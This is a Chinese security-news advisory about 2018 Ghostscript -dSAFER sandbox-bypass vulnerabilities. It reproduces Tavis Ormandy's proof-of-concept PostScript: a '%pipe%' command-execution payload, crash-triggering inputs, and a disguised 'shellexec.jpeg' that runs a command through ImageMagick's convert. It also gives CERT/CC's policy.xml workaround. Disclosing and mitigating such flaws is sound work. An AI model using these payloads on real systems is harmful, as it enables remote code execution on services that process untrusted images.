漏洞预警 | Ghostscript存在多个漏洞 可导致远程代码执行

阅读量1967977

|评论1

发布时间 : 2018-08-22 15:47:32

Ghostscript被发现存在多个安全漏洞

Google Project Zero安全研究员Tavis Ormandy公布了新发现的Ghostscript漏洞的细节信息。Ghostscript是Adobe PostScript和PDF的解释语言,目前广泛应用在各类应用程序中(例如ImageMagick、Evince、GIMP、PDF阅读器等)。

 

漏洞可导致远程代码执行

攻击者可利用恶意PostScript、PDF、EPS或XPS文件触发漏洞,当前这些漏洞还未分配CVE编号,同时也没有官方的安全补丁。

此次漏洞发现者此前也在Ghostscript中发现过高危漏洞,去年他发现的CVE-2017-8291还未被黑客利用攻击加密货币交易平台,这也是今年他发现的首个Ghostscript高危漏洞。

以下为漏洞简介:

1./invalidaccess 恢复失败后会结束,可控制错误处理部分

$ *gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null*
GS>*legal*
GS>*{ null restore } stopped { pop } if*
GS>*legal*
GS>*mark /OutputFile (%pipe%id) currentdevice putdeviceprops*
GS<1>*showpage*
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2.setcolor可通过setpattern间接调用且未进行检查

$ *gs -q -sDEVICE=ppmraw -dSAFER*
GS>*<< /Whatever 16#414141414141 >> setpattern*
Segmentation fault

3.LockDistillerParams布尔值未进行类型检查

$ *gs -q -sDEVICE=ppmraw -dSAFER*
GS>*<< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams*
Segmentation fault

4. .tempfile权限管理未生效

Tavis Ormandy也已经在Ubuntu和CentOS上确认了漏洞:

Ubuntu:
$ *cat shellexec.jpeg*
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ *convert shellexec.jpeg whatever.gif*
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

CentOS:
$ *cat shellexec.jpeg*
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ *convert shellexec.jpeg whatever.gif*
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

 

CERT/CC发布安全通告及临时修复措施

CERT/CC发布安全通告,对此漏洞进行预警,其中漏洞描述为“-dSAFER沙箱绕过漏洞”,给出的临时解决方案是在ImageMagick policy.xml中禁用PostScript、EPS、PDF以及XPS解码器。

<policy domain =“coder”rights =“none”pattern =“PS”/> 
<policy domain =“coder”rights =“none”pattern =“EPS”/> 
<policy domain =“coder”rights =“none” pattern =“PDF”/> 
<policy domain =“coder”rights =“none”pattern =“XPS”/>

目前Artifex Software,ImageMagick,Redhat,Ubuntu已经说明会受到此漏洞影响,CoreOS宣布不受影响,其他平台暂时未对此漏洞进行说明。

 

参考链接

https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

http://openwall.com/lists/oss-security/2018/08/21/2

https://0day.city/0day-186343.html

https://www.bleepingcomputer.com/news/security/no-patch-available-yet-for-new-major-vulnerability-in-ghostscript-interpreter/

https://www.kb.cert.org/vuls/id/332928

本文由安全客原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/157380

安全客 - 有思想的安全新媒体

分享到:微信
+13赞
收藏
安全客
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66